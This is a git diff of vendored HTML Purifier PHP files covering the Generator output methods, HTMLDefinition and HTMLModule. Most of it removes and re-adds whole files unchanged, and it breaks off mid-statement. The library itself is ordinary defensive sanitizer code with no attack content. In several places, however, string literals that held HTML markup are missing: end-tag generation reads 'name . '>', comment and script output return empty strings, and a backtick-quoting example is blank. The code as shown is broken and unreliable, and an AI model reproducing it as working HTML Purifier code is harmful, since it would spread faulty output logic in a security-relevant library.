$this->generateFromToken($tokens[$i++]); + $html .= $this->generateScriptFromToken($tokens[$i++]); + } + $html .= $this->generateFromToken($tokens[$i]); + } + + // Tidy cleanup + if (extension_loaded('tidy') && $this->config->get('Output.TidyFormat')) { + $tidy = new Tidy; + $tidy->parseString( + $html, + array( + 'indent'=> true, + 'output-xhtml' => $this->_xhtml, + 'show-body-only' => true, + 'indent-spaces' => 2, + 'wrap' => 68, + ), + 'utf8' + ); + $tidy->cleanRepair(); + $html = (string) $tidy; // explicit cast necessary + } + + // Normalize newlines to system defined value + if ($this->config->get('Core.NormalizeNewlines')) { + $nl = $this->config->get('Output.Newline'); + if ($nl === null) { + $nl = PHP_EOL; + } + if ($nl !== "\n") { + $html = str_replace("\n", $nl, $html); + } + } + return $html; + } + + /** + * Generates HTML from a single token. + * @param HTMLPurifier_Token $token HTMLPurifier_Token object. + * @return string Generated HTML + */ + public function generateFromToken($token) + { + if (!$token instanceof HTMLPurifier_Token) { + trigger_error('Cannot generate HTML from non-HTMLPurifier_Token object', E_USER_WARNING); + return ''; + + } elseif ($token instanceof HTMLPurifier_Token_Start) { + $attr = $this->generateAttributes($token->attr, $token->name); + if ($this->_flashCompat) { + if ($token->name == "object") { + $flash = new stdClass(); + $flash->attr = $token->attr; + $flash->param = array(); + $this->_flashStack[] = $flash; + } + } + return '<' . $token->name . ($attr ? ' ' : '') . $attr . '>'; + + } elseif ($token instanceof HTMLPurifier_Token_End) { + $_extra = ''; + if ($this->_flashCompat) { + if ($token->name == "object" && !empty($this->_flashStack)) { + // doesn't do anything for now + } + } + return $_extra . 'name . '>'; + + } elseif ($token instanceof HTMLPurifier_Token_Empty) { + if ($this->_flashCompat && $token->name == "param" && !empty($this->_flashStack)) { + $this->_flashStack[count($this->_flashStack)-1]->param[$token->attr['name']] = $token->attr['value']; + } + $attr = $this->generateAttributes($token->attr, $token->name); + return '<' . $token->name . ($attr ? ' ' : '') . $attr . + ( $this->_xhtml ? ' /': '' ) //
    v.
    + . '>'; + + } elseif ($token instanceof HTMLPurifier_Token_Text) { + return $this->escape($token->data, ENT_NOQUOTES); + + } elseif ($token instanceof HTMLPurifier_Token_Comment) { + return ''; + } else { + return ''; + + } + } + + /** + * Special case processor for the contents of script tags + * @param HTMLPurifier_Token $token HTMLPurifier_Token object. + * @return string + * @warning This runs into problems if there's already a literal + * --> somewhere inside the script contents. + */ + public function generateScriptFromToken($token) + { + if (!$token instanceof HTMLPurifier_Token_Text) { + return $this->generateFromToken($token); + } + // Thanks + $data = preg_replace('#//\s*$#', '', $token->data); + return ''; + } + + /** + * Generates attribute declarations from attribute array. + * @note This does not include the leading or trailing space. + * @param array $assoc_array_of_attributes Attribute array + * @param string $element Name of element attributes are for, used to check + * attribute minimization. + * @return string Generated HTML fragment for insertion. + */ + public function generateAttributes($assoc_array_of_attributes, $element = '') + { + $html = ''; + if ($this->_sortAttr) { + ksort($assoc_array_of_attributes); + } + foreach ($assoc_array_of_attributes as $key => $value) { + if (!$this->_xhtml) { + // Remove namespaced attributes + if (strpos($key, ':') !== false) { + continue; + } + // Check if we should minimize the attribute: val="val" -> val + if ($element && !empty($this->_def->info[$element]->attr[$key]->minimized)) { + $html .= $key . ' '; + continue; + } + } + // Workaround for Internet Explorer innerHTML bug. + // Essentially, Internet Explorer, when calculating + // innerHTML, omits quotes if there are no instances of + // angled brackets, quotes or spaces. However, when parsing + // HTML (for example, when you assign to innerHTML), it + // treats backticks as quotes. Thus, + // `` + // becomes + // `` + // becomes + // + // Fortunately, all we need to do is trigger an appropriate + // quoting style, which we do by adding an extra space. + // This also is consistent with the W3C spec, which states + // that user agents may ignore leading or trailing + // whitespace (in fact, most don't, at least for attributes + // like alt, but an extra space at the end is barely + // noticeable). Still, we have a configuration knob for + // this, since this transformation is not necesary if you + // don't process user input with innerHTML or you don't plan + // on supporting Internet Explorer. + if ($this->_innerHTMLFix) { + if (strpos($value, '`') !== false) { + // check if correct quoting style would not already be + // triggered + if (strcspn($value, '"\' <>') === strlen($value)) { + // protect! + $value .= ' '; + } + } + } + $html .= $key.'="'.$this->escape($value).'" '; + } + return rtrim($html); + } + + /** + * Escapes raw text data. + * @todo This really ought to be protected, but until we have a facility + * for properly generating HTML here w/o using tokens, it stays + * public. + * @param string $string String data to escape for HTML. + * @param int $quote Quoting style, like htmlspecialchars. ENT_NOQUOTES is + * permissible for non-attribute output. + * @return string escaped data. + */ + public function escape($string, $quote = null) + { + // Workaround for APC bug on Mac Leopard reported by sidepodcast + // http://htmlpurifier.org/phorum/read.php?3,4823,4846 + if ($quote === null) { + $quote = ENT_COMPAT; + } + return htmlspecialchars($string, $quote, 'UTF-8'); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php index 027c85d56e..9b7b334dd9 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLDefinition.php @@ -1,493 +1,493 @@ -getAnonymousModule(); - if (!isset($module->info[$element_name])) { - $element = $module->addBlankElement($element_name); - } else { - $element = $module->info[$element_name]; - } - $element->attr[$attr_name] = $def; - } - - /** - * Adds a custom element to your HTML definition - * @see HTMLPurifier_HTMLModule::addElement() for detailed - * parameter and return value descriptions. - */ - public function addElement($element_name, $type, $contents, $attr_collections, $attributes = array()) - { - $module = $this->getAnonymousModule(); - // assume that if the user is calling this, the element - // is safe. This may not be a good idea - $element = $module->addElement($element_name, $type, $contents, $attr_collections, $attributes); - return $element; - } - - /** - * Adds a blank element to your HTML definition, for overriding - * existing behavior - * @param string $element_name - * @return HTMLPurifier_ElementDef - * @see HTMLPurifier_HTMLModule::addBlankElement() for detailed - * parameter and return value descriptions. - */ - public function addBlankElement($element_name) - { - $module = $this->getAnonymousModule(); - $element = $module->addBlankElement($element_name); - return $element; - } - - /** - * Retrieves a reference to the anonymous module, so you can - * bust out advanced features without having to make your own - * module. - * @return HTMLPurifier_HTMLModule - */ - public function getAnonymousModule() - { - if (!$this->_anonModule) { - $this->_anonModule = new HTMLPurifier_HTMLModule(); - $this->_anonModule->name = 'Anonymous'; - } - return $this->_anonModule; - } - - private $_anonModule = null; - - // PUBLIC BUT INTERNAL VARIABLES -------------------------------------- - - /** - * @type string - */ - public $type = 'HTML'; - - /** - * @type HTMLPurifier_HTMLModuleManager - */ - public $manager; - - /** - * Performs low-cost, preliminary initialization. - */ - public function __construct() - { - $this->manager = new HTMLPurifier_HTMLModuleManager(); - } - - /** - * @param HTMLPurifier_Config $config - */ - protected function doSetup($config) - { - $this->processModules($config); - $this->setupConfigStuff($config); - unset($this->manager); - - // cleanup some of the element definitions - foreach ($this->info as $k => $v) { - unset($this->info[$k]->content_model); - unset($this->info[$k]->content_model_type); - } - } - - /** - * Extract out the information from the manager - * @param HTMLPurifier_Config $config - */ - protected function processModules($config) - { - if ($this->_anonModule) { - // for user specific changes - // this is late-loaded so we don't have to deal with PHP4 - // reference wonky-ness - $this->manager->addModule($this->_anonModule); - unset($this->_anonModule); - } - - $this->manager->setup($config); - $this->doctype = $this->manager->doctype; - - foreach ($this->manager->modules as $module) { - foreach ($module->info_tag_transform as $k => $v) { - if ($v === false) { - unset($this->info_tag_transform[$k]); - } else { - $this->info_tag_transform[$k] = $v; - } - } - foreach ($module->info_attr_transform_pre as $k => $v) { - if ($v === false) { - unset($this->info_attr_transform_pre[$k]); - } else { - $this->info_attr_transform_pre[$k] = $v; - } - } - foreach ($module->info_attr_transform_post as $k => $v) { - if ($v === false) { - unset($this->info_attr_transform_post[$k]); - } else { - $this->info_attr_transform_post[$k] = $v; - } - } - foreach ($module->info_injector as $k => $v) { - if ($v === false) { - unset($this->info_injector[$k]); - } else { - $this->info_injector[$k] = $v; - } - } - } - $this->info = $this->manager->getElements(); - $this->info_content_sets = $this->manager->contentSets->lookup; - } - - /** - * Sets up stuff based on config. We need a better way of doing this. - * @param HTMLPurifier_Config $config - */ - protected function setupConfigStuff($config) - { - $block_wrapper = $config->get('HTML.BlockWrapper'); - if (isset($this->info_content_sets['Block'][$block_wrapper])) { - $this->info_block_wrapper = $block_wrapper; - } else { - trigger_error( - 'Cannot use non-block element as block wrapper', - E_USER_ERROR - ); - } - - $parent = $config->get('HTML.Parent'); - $def = $this->manager->getElement($parent, true); - if ($def) { - $this->info_parent = $parent; - $this->info_parent_def = $def; - } else { - trigger_error( - 'Cannot use unrecognized element as parent', - E_USER_ERROR - ); - $this->info_parent_def = $this->manager->getElement($this->info_parent, true); - } - - // support template text - $support = "(for information on implementing this, see the support forums) "; - - // setup allowed elements ----------------------------------------- - - $allowed_elements = $config->get('HTML.AllowedElements'); - $allowed_attributes = $config->get('HTML.AllowedAttributes'); // retrieve early - - if (!is_array($allowed_elements) && !is_array($allowed_attributes)) { - $allowed = $config->get('HTML.Allowed'); - if (is_string($allowed)) { - list($allowed_elements, $allowed_attributes) = $this->parseTinyMCEAllowedList($allowed); - } - } - - if (is_array($allowed_elements)) { - foreach ($this->info as $name => $d) { - if (!isset($allowed_elements[$name])) { - unset($this->info[$name]); - } - unset($allowed_elements[$name]); - } - // emit errors - foreach ($allowed_elements as $element => $d) { - $element = htmlspecialchars($element); // PHP doesn't escape errors, be careful! - trigger_error("Element '$element' is not supported $support", E_USER_WARNING); - } - } - - // setup allowed attributes --------------------------------------- - - $allowed_attributes_mutable = $allowed_attributes; // by copy! - if (is_array($allowed_attributes)) { - // This actually doesn't do anything, since we went away from - // global attributes. It's possible that userland code uses - // it, but HTMLModuleManager doesn't! - foreach ($this->info_global_attr as $attr => $x) { - $keys = array($attr, "*@$attr", "*.$attr"); - $delete = true; - foreach ($keys as $key) { - if ($delete && isset($allowed_attributes[$key])) { - $delete = false; - } - if (isset($allowed_attributes_mutable[$key])) { - unset($allowed_attributes_mutable[$key]); - } - } - if ($delete) { - unset($this->info_global_attr[$attr]); - } - } - - foreach ($this->info as $tag => $info) { - foreach ($info->attr as $attr => $x) { - $keys = array("$tag@$attr", $attr, "*@$attr", "$tag.$attr", "*.$attr"); - $delete = true; - foreach ($keys as $key) { - if ($delete && isset($allowed_attributes[$key])) { - $delete = false; - } - if (isset($allowed_attributes_mutable[$key])) { - unset($allowed_attributes_mutable[$key]); - } - } - if ($delete) { - if ($this->info[$tag]->attr[$attr]->required) { - trigger_error( - "Required attribute '$attr' in element '$tag' " . - "was not allowed, which means '$tag' will not be allowed either", - E_USER_WARNING - ); - } - unset($this->info[$tag]->attr[$attr]); - } - } - } - // emit errors - foreach ($allowed_attributes_mutable as $elattr => $d) { - $bits = preg_split('/[.@]/', $elattr, 2); - $c = count($bits); - switch ($c) { - case 2: - if ($bits[0] !== '*') { - $element = htmlspecialchars($bits[0]); - $attribute = htmlspecialchars($bits[1]); - if (!isset($this->info[$element])) { - trigger_error( - "Cannot allow attribute '$attribute' if element " . - "'$element' is not allowed/supported $support" - ); - } else { - trigger_error( - "Attribute '$attribute' in element '$element' not supported $support", - E_USER_WARNING - ); - } - break; - } - // otherwise fall through - case 1: - $attribute = htmlspecialchars($bits[0]); - trigger_error( - "Global attribute '$attribute' is not ". - "supported in any elements $support", - E_USER_WARNING - ); - break; - } - } - } - - // setup forbidden elements --------------------------------------- - - $forbidden_elements = $config->get('HTML.ForbiddenElements'); - $forbidden_attributes = $config->get('HTML.ForbiddenAttributes'); - - foreach ($this->info as $tag => $info) { - if (isset($forbidden_elements[$tag])) { - unset($this->info[$tag]); - continue; - } - foreach ($info->attr as $attr => $x) { - if (isset($forbidden_attributes["$tag@$attr"]) || - isset($forbidden_attributes["*@$attr"]) || - isset($forbidden_attributes[$attr]) - ) { - unset($this->info[$tag]->attr[$attr]); - continue; - } elseif (isset($forbidden_attributes["$tag.$attr"])) { // this segment might get removed eventually - // $tag.$attr are not user supplied, so no worries! - trigger_error( - "Error with $tag.$attr: tag.attr syntax not supported for " . - "HTML.ForbiddenAttributes; use tag@attr instead", - E_USER_WARNING - ); - } - } - } - foreach ($forbidden_attributes as $key => $v) { - if (strlen($key) < 2) { - continue; - } - if ($key[0] != '*') { - continue; - } - if ($key[1] == '.') { - trigger_error( - "Error with $key: *.attr syntax not supported for HTML.ForbiddenAttributes; use attr instead", - E_USER_WARNING - ); - } - } - - // setup injectors ----------------------------------------------------- - foreach ($this->info_injector as $i => $injector) { - if ($injector->checkNeeded($config) !== false) { - // remove injector that does not have it's required - // elements/attributes present, and is thus not needed. - unset($this->info_injector[$i]); - } - } - } - - /** - * Parses a TinyMCE-flavored Allowed Elements and Attributes list into - * separate lists for processing. Format is element[attr1|attr2],element2... - * @warning Although it's largely drawn from TinyMCE's implementation, - * it is different, and you'll probably have to modify your lists - * @param array $list String list to parse - * @return array - * @todo Give this its own class, probably static interface - */ - public function parseTinyMCEAllowedList($list) - { - $list = str_replace(array(' ', "\t"), '', $list); - - $elements = array(); - $attributes = array(); - - $chunks = preg_split('/(,|[\n\r]+)/', $list); - foreach ($chunks as $chunk) { - if (empty($chunk)) { - continue; - } - // remove TinyMCE element control characters - if (!strpos($chunk, '[')) { - $element = $chunk; - $attr = false; - } else { - list($element, $attr) = explode('[', $chunk); - } - if ($element !== '*') { - $elements[$element] = true; - } - if (!$attr) { - continue; - } - $attr = substr($attr, 0, strlen($attr) - 1); // remove trailing ] - $attr = explode('|', $attr); - foreach ($attr as $key) { - $attributes["$element.$key"] = true; - } - } - return array($elements, $attributes); - } -} - -// vim: et sw=4 sts=4 +getAnonymousModule(); + if (!isset($module->info[$element_name])) { + $element = $module->addBlankElement($element_name); + } else { + $element = $module->info[$element_name]; + } + $element->attr[$attr_name] = $def; + } + + /** + * Adds a custom element to your HTML definition + * @see HTMLPurifier_HTMLModule::addElement() for detailed + * parameter and return value descriptions. + */ + public function addElement($element_name, $type, $contents, $attr_collections, $attributes = array()) + { + $module = $this->getAnonymousModule(); + // assume that if the user is calling this, the element + // is safe. This may not be a good idea + $element = $module->addElement($element_name, $type, $contents, $attr_collections, $attributes); + return $element; + } + + /** + * Adds a blank element to your HTML definition, for overriding + * existing behavior + * @param string $element_name + * @return HTMLPurifier_ElementDef + * @see HTMLPurifier_HTMLModule::addBlankElement() for detailed + * parameter and return value descriptions. + */ + public function addBlankElement($element_name) + { + $module = $this->getAnonymousModule(); + $element = $module->addBlankElement($element_name); + return $element; + } + + /** + * Retrieves a reference to the anonymous module, so you can + * bust out advanced features without having to make your own + * module. + * @return HTMLPurifier_HTMLModule + */ + public function getAnonymousModule() + { + if (!$this->_anonModule) { + $this->_anonModule = new HTMLPurifier_HTMLModule(); + $this->_anonModule->name = 'Anonymous'; + } + return $this->_anonModule; + } + + private $_anonModule = null; + + // PUBLIC BUT INTERNAL VARIABLES -------------------------------------- + + /** + * @type string + */ + public $type = 'HTML'; + + /** + * @type HTMLPurifier_HTMLModuleManager + */ + public $manager; + + /** + * Performs low-cost, preliminary initialization. + */ + public function __construct() + { + $this->manager = new HTMLPurifier_HTMLModuleManager(); + } + + /** + * @param HTMLPurifier_Config $config + */ + protected function doSetup($config) + { + $this->processModules($config); + $this->setupConfigStuff($config); + unset($this->manager); + + // cleanup some of the element definitions + foreach ($this->info as $k => $v) { + unset($this->info[$k]->content_model); + unset($this->info[$k]->content_model_type); + } + } + + /** + * Extract out the information from the manager + * @param HTMLPurifier_Config $config + */ + protected function processModules($config) + { + if ($this->_anonModule) { + // for user specific changes + // this is late-loaded so we don't have to deal with PHP4 + // reference wonky-ness + $this->manager->addModule($this->_anonModule); + unset($this->_anonModule); + } + + $this->manager->setup($config); + $this->doctype = $this->manager->doctype; + + foreach ($this->manager->modules as $module) { + foreach ($module->info_tag_transform as $k => $v) { + if ($v === false) { + unset($this->info_tag_transform[$k]); + } else { + $this->info_tag_transform[$k] = $v; + } + } + foreach ($module->info_attr_transform_pre as $k => $v) { + if ($v === false) { + unset($this->info_attr_transform_pre[$k]); + } else { + $this->info_attr_transform_pre[$k] = $v; + } + } + foreach ($module->info_attr_transform_post as $k => $v) { + if ($v === false) { + unset($this->info_attr_transform_post[$k]); + } else { + $this->info_attr_transform_post[$k] = $v; + } + } + foreach ($module->info_injector as $k => $v) { + if ($v === false) { + unset($this->info_injector[$k]); + } else { + $this->info_injector[$k] = $v; + } + } + } + $this->info = $this->manager->getElements(); + $this->info_content_sets = $this->manager->contentSets->lookup; + } + + /** + * Sets up stuff based on config. We need a better way of doing this. + * @param HTMLPurifier_Config $config + */ + protected function setupConfigStuff($config) + { + $block_wrapper = $config->get('HTML.BlockWrapper'); + if (isset($this->info_content_sets['Block'][$block_wrapper])) { + $this->info_block_wrapper = $block_wrapper; + } else { + trigger_error( + 'Cannot use non-block element as block wrapper', + E_USER_ERROR + ); + } + + $parent = $config->get('HTML.Parent'); + $def = $this->manager->getElement($parent, true); + if ($def) { + $this->info_parent = $parent; + $this->info_parent_def = $def; + } else { + trigger_error( + 'Cannot use unrecognized element as parent', + E_USER_ERROR + ); + $this->info_parent_def = $this->manager->getElement($this->info_parent, true); + } + + // support template text + $support = "(for information on implementing this, see the support forums) "; + + // setup allowed elements ----------------------------------------- + + $allowed_elements = $config->get('HTML.AllowedElements'); + $allowed_attributes = $config->get('HTML.AllowedAttributes'); // retrieve early + + if (!is_array($allowed_elements) && !is_array($allowed_attributes)) { + $allowed = $config->get('HTML.Allowed'); + if (is_string($allowed)) { + list($allowed_elements, $allowed_attributes) = $this->parseTinyMCEAllowedList($allowed); + } + } + + if (is_array($allowed_elements)) { + foreach ($this->info as $name => $d) { + if (!isset($allowed_elements[$name])) { + unset($this->info[$name]); + } + unset($allowed_elements[$name]); + } + // emit errors + foreach ($allowed_elements as $element => $d) { + $element = htmlspecialchars($element); // PHP doesn't escape errors, be careful! + trigger_error("Element '$element' is not supported $support", E_USER_WARNING); + } + } + + // setup allowed attributes --------------------------------------- + + $allowed_attributes_mutable = $allowed_attributes; // by copy! + if (is_array($allowed_attributes)) { + // This actually doesn't do anything, since we went away from + // global attributes. It's possible that userland code uses + // it, but HTMLModuleManager doesn't! + foreach ($this->info_global_attr as $attr => $x) { + $keys = array($attr, "*@$attr", "*.$attr"); + $delete = true; + foreach ($keys as $key) { + if ($delete && isset($allowed_attributes[$key])) { + $delete = false; + } + if (isset($allowed_attributes_mutable[$key])) { + unset($allowed_attributes_mutable[$key]); + } + } + if ($delete) { + unset($this->info_global_attr[$attr]); + } + } + + foreach ($this->info as $tag => $info) { + foreach ($info->attr as $attr => $x) { + $keys = array("$tag@$attr", $attr, "*@$attr", "$tag.$attr", "*.$attr"); + $delete = true; + foreach ($keys as $key) { + if ($delete && isset($allowed_attributes[$key])) { + $delete = false; + } + if (isset($allowed_attributes_mutable[$key])) { + unset($allowed_attributes_mutable[$key]); + } + } + if ($delete) { + if ($this->info[$tag]->attr[$attr]->required) { + trigger_error( + "Required attribute '$attr' in element '$tag' " . + "was not allowed, which means '$tag' will not be allowed either", + E_USER_WARNING + ); + } + unset($this->info[$tag]->attr[$attr]); + } + } + } + // emit errors + foreach ($allowed_attributes_mutable as $elattr => $d) { + $bits = preg_split('/[.@]/', $elattr, 2); + $c = count($bits); + switch ($c) { + case 2: + if ($bits[0] !== '*') { + $element = htmlspecialchars($bits[0]); + $attribute = htmlspecialchars($bits[1]); + if (!isset($this->info[$element])) { + trigger_error( + "Cannot allow attribute '$attribute' if element " . + "'$element' is not allowed/supported $support" + ); + } else { + trigger_error( + "Attribute '$attribute' in element '$element' not supported $support", + E_USER_WARNING + ); + } + break; + } + // otherwise fall through + case 1: + $attribute = htmlspecialchars($bits[0]); + trigger_error( + "Global attribute '$attribute' is not ". + "supported in any elements $support", + E_USER_WARNING + ); + break; + } + } + } + + // setup forbidden elements --------------------------------------- + + $forbidden_elements = $config->get('HTML.ForbiddenElements'); + $forbidden_attributes = $config->get('HTML.ForbiddenAttributes'); + + foreach ($this->info as $tag => $info) { + if (isset($forbidden_elements[$tag])) { + unset($this->info[$tag]); + continue; + } + foreach ($info->attr as $attr => $x) { + if (isset($forbidden_attributes["$tag@$attr"]) || + isset($forbidden_attributes["*@$attr"]) || + isset($forbidden_attributes[$attr]) + ) { + unset($this->info[$tag]->attr[$attr]); + continue; + } elseif (isset($forbidden_attributes["$tag.$attr"])) { // this segment might get removed eventually + // $tag.$attr are not user supplied, so no worries! + trigger_error( + "Error with $tag.$attr: tag.attr syntax not supported for " . + "HTML.ForbiddenAttributes; use tag@attr instead", + E_USER_WARNING + ); + } + } + } + foreach ($forbidden_attributes as $key => $v) { + if (strlen($key) < 2) { + continue; + } + if ($key[0] != '*') { + continue; + } + if ($key[1] == '.') { + trigger_error( + "Error with $key: *.attr syntax not supported for HTML.ForbiddenAttributes; use attr instead", + E_USER_WARNING + ); + } + } + + // setup injectors ----------------------------------------------------- + foreach ($this->info_injector as $i => $injector) { + if ($injector->checkNeeded($config) !== false) { + // remove injector that does not have it's required + // elements/attributes present, and is thus not needed. + unset($this->info_injector[$i]); + } + } + } + + /** + * Parses a TinyMCE-flavored Allowed Elements and Attributes list into + * separate lists for processing. Format is element[attr1|attr2],element2... + * @warning Although it's largely drawn from TinyMCE's implementation, + * it is different, and you'll probably have to modify your lists + * @param array $list String list to parse + * @return array + * @todo Give this its own class, probably static interface + */ + public function parseTinyMCEAllowedList($list) + { + $list = str_replace(array(' ', "\t"), '', $list); + + $elements = array(); + $attributes = array(); + + $chunks = preg_split('/(,|[\n\r]+)/', $list); + foreach ($chunks as $chunk) { + if (empty($chunk)) { + continue; + } + // remove TinyMCE element control characters + if (!strpos($chunk, '[')) { + $element = $chunk; + $attr = false; + } else { + list($element, $attr) = explode('[', $chunk); + } + if ($element !== '*') { + $elements[$element] = true; + } + if (!$attr) { + continue; + } + $attr = substr($attr, 0, strlen($attr) - 1); // remove trailing ] + $attr = explode('|', $attr); + foreach ($attr as $key) { + $attributes["$element.$key"] = true; + } + } + return array($elements, $attributes); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php index a94b8ea4cf..6d898f80cd 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php @@ -1,284 +1,284 @@ -info, since the object's data is only info, - * with extra behavior associated with it. - * @type array - */ - public $attr_collections = array(); - - /** - * Associative array of deprecated tag name to HTMLPurifier_TagTransform. - * @type array - */ - public $info_tag_transform = array(); - - /** - * List of HTMLPurifier_AttrTransform to be performed before validation. - * @type array - */ - public $info_attr_transform_pre = array(); - - /** - * List of HTMLPurifier_AttrTransform to be performed after validation. - * @type array - */ - public $info_attr_transform_post = array(); - - /** - * List of HTMLPurifier_Injector to be performed during well-formedness fixing. - * An injector will only be invoked if all of it's pre-requisites are met; - * if an injector fails setup, there will be no error; it will simply be - * silently disabled. - * @type array - */ - public $info_injector = array(); - - /** - * Boolean flag that indicates whether or not getChildDef is implemented. - * For optimization reasons: may save a call to a function. Be sure - * to set it if you do implement getChildDef(), otherwise it will have - * no effect! - * @type bool - */ - public $defines_child_def = false; - - /** - * Boolean flag whether or not this module is safe. If it is not safe, all - * of its members are unsafe. Modules are safe by default (this might be - * slightly dangerous, but it doesn't make much sense to force HTML Purifier, - * which is based off of safe HTML, to explicitly say, "This is safe," even - * though there are modules which are "unsafe") - * - * @type bool - * @note Previously, safety could be applied at an element level granularity. - * We've removed this ability, so in order to add "unsafe" elements - * or attributes, a dedicated module with this property set to false - * must be used. - */ - public $safe = true; - - /** - * Retrieves a proper HTMLPurifier_ChildDef subclass based on - * content_model and content_model_type member variables of - * the HTMLPurifier_ElementDef class. There is a similar function - * in HTMLPurifier_HTMLDefinition. - * @param HTMLPurifier_ElementDef $def - * @return HTMLPurifier_ChildDef subclass - */ - public function getChildDef($def) - { - return false; - } - - // -- Convenience ----------------------------------------------------- - - /** - * Convenience function that sets up a new element - * @param string $element Name of element to add - * @param string|bool $type What content set should element be registered to? - * Set as false to skip this step. - * @param string|HTMLPurifier_ChildDef $contents Allowed children in form of: - * "$content_model_type: $content_model" - * @param array|string $attr_includes What attribute collections to register to - * element? - * @param array $attr What unique attributes does the element define? - * @see HTMLPurifier_ElementDef:: for in-depth descriptions of these parameters. - * @return HTMLPurifier_ElementDef Created element definition object, so you - * can set advanced parameters - */ - public function addElement($element, $type, $contents, $attr_includes = array(), $attr = array()) - { - $this->elements[] = $element; - // parse content_model - list($content_model_type, $content_model) = $this->parseContents($contents); - // merge in attribute inclusions - $this->mergeInAttrIncludes($attr, $attr_includes); - // add element to content sets - if ($type) { - $this->addElementToContentSet($element, $type); - } - // create element - $this->info[$element] = HTMLPurifier_ElementDef::create( - $content_model, - $content_model_type, - $attr - ); - // literal object $contents means direct child manipulation - if (!is_string($contents)) { - $this->info[$element]->child = $contents; - } - return $this->info[$element]; - } - - /** - * Convenience function that creates a totally blank, non-standalone - * element. - * @param string $element Name of element to create - * @return HTMLPurifier_ElementDef Created element - */ - public function addBlankElement($element) - { - if (!isset($this->info[$element])) { - $this->elements[] = $element; - $this->info[$element] = new HTMLPurifier_ElementDef(); - $this->info[$element]->standalone = false; - } else { - trigger_error("Definition for $element already exists in module, cannot redefine"); - } - return $this->info[$element]; - } - - /** - * Convenience function that registers an element to a content set - * @param string $element Element to register - * @param string $type Name content set (warning: case sensitive, usually upper-case - * first letter) - */ - public function addElementToContentSet($element, $type) - { - if (!isset($this->content_sets[$type])) { - $this->content_sets[$type] = ''; - } else { - $this->content_sets[$type] .= ' | '; - } - $this->content_sets[$type] .= $element; - } - - /** - * Convenience function that transforms single-string contents - * into separate content model and content model type - * @param string $contents Allowed children in form of: - * "$content_model_type: $content_model" - * @return array - * @note If contents is an object, an array of two nulls will be - * returned, and the callee needs to take the original $contents - * and use it directly. - */ - public function parseContents($contents) - { - if (!is_string($contents)) { - return array(null, null); - } // defer - switch ($contents) { - // check for shorthand content model forms - case 'Empty': - return array('empty', ''); - case 'Inline': - return array('optional', 'Inline | #PCDATA'); - case 'Flow': - return array('optional', 'Flow | #PCDATA'); - } - list($content_model_type, $content_model) = explode(':', $contents); - $content_model_type = strtolower(trim($content_model_type)); - $content_model = trim($content_model); - return array($content_model_type, $content_model); - } - - /** - * Convenience function that merges a list of attribute includes into - * an attribute array. - * @param array $attr Reference to attr array to modify - * @param array $attr_includes Array of includes / string include to merge in - */ - public function mergeInAttrIncludes(&$attr, $attr_includes) - { - if (!is_array($attr_includes)) { - if (empty($attr_includes)) { - $attr_includes = array(); - } else { - $attr_includes = array($attr_includes); - } - } - $attr[0] = $attr_includes; - } - - /** - * Convenience function that generates a lookup table with boolean - * true as value. - * @param string $list List of values to turn into a lookup - * @note You can also pass an arbitrary number of arguments in - * place of the regular argument - * @return array array equivalent of list - */ - public function makeLookup($list) - { - if (is_string($list)) { - $list = func_get_args(); - } - $ret = array(); - foreach ($list as $value) { - if (is_null($value)) { - continue; - } - $ret[$value] = true; - } - return $ret; - } - - /** - * Lazy load construction of the module after determining whether - * or not it's needed, and also when a finalized configuration object - * is available. - * @param HTMLPurifier_Config $config - */ - public function setup($config) - { - } -} - -// vim: et sw=4 sts=4 +info, since the object's data is only info, + * with extra behavior associated with it. + * @type array + */ + public $attr_collections = array(); + + /** + * Associative array of deprecated tag name to HTMLPurifier_TagTransform. + * @type array + */ + public $info_tag_transform = array(); + + /** + * List of HTMLPurifier_AttrTransform to be performed before validation. + * @type array + */ + public $info_attr_transform_pre = array(); + + /** + * List of HTMLPurifier_AttrTransform to be performed after validation. + * @type array + */ + public $info_attr_transform_post = array(); + + /** + * List of HTMLPurifier_Injector to be performed during well-formedness fixing. + * An injector will only be invoked if all of it's pre-requisites are met; + * if an injector fails setup, there will be no error; it will simply be + * silently disabled. + * @type array + */ + public $info_injector = array(); + + /** + * Boolean flag that indicates whether or not getChildDef is implemented. + * For optimization reasons: may save a call to a function. Be sure + * to set it if you do implement getChildDef(), otherwise it will have + * no effect! + * @type bool + */ + public $defines_child_def = false; + + /** + * Boolean flag whether or not this module is safe. If it is not safe, all + * of its members are unsafe. Modules are safe by default (this might be + * slightly dangerous, but it doesn't make much sense to force HTML Purifier, + * which is based off of safe HTML, to explicitly say, "This is safe," even + * though there are modules which are "unsafe") + * + * @type bool + * @note Previously, safety could be applied at an element level granularity. + * We've removed this ability, so in order to add "unsafe" elements + * or attributes, a dedicated module with this property set to false + * must be used. + */ + public $safe = true; + + /** + * Retrieves a proper HTMLPurifier_ChildDef subclass based on + * content_model and content_model_type member variables of + * the HTMLPurifier_ElementDef class. There is a similar function + * in HTMLPurifier_HTMLDefinition. + * @param HTMLPurifier_ElementDef $def + * @return HTMLPurifier_ChildDef subclass + */ + public function getChildDef($def) + { + return false; + } + + // -- Convenience ----------------------------------------------------- + + /** + * Convenience function that sets up a new element + * @param string $element Name of element to add + * @param string|bool $type What content set should element be registered to? + * Set as false to skip this step. + * @param string|HTMLPurifier_ChildDef $contents Allowed children in form of: + * "$content_model_type: $content_model" + * @param array|string $attr_includes What attribute collections to register to + * element? + * @param array $attr What unique attributes does the element define? + * @see HTMLPurifier_ElementDef:: for in-depth descriptions of these parameters. + * @return HTMLPurifier_ElementDef Created element definition object, so you + * can set advanced parameters + */ + public function addElement($element, $type, $contents, $attr_includes = array(), $attr = array()) + { + $this->elements[] = $element; + // parse content_model + list($content_model_type, $content_model) = $this->parseContents($contents); + // merge in attribute inclusions + $this->mergeInAttrIncludes($attr, $attr_includes); + // add element to content sets + if ($type) { + $this->addElementToContentSet($element, $type); + } + // create element + $this->info[$element] = 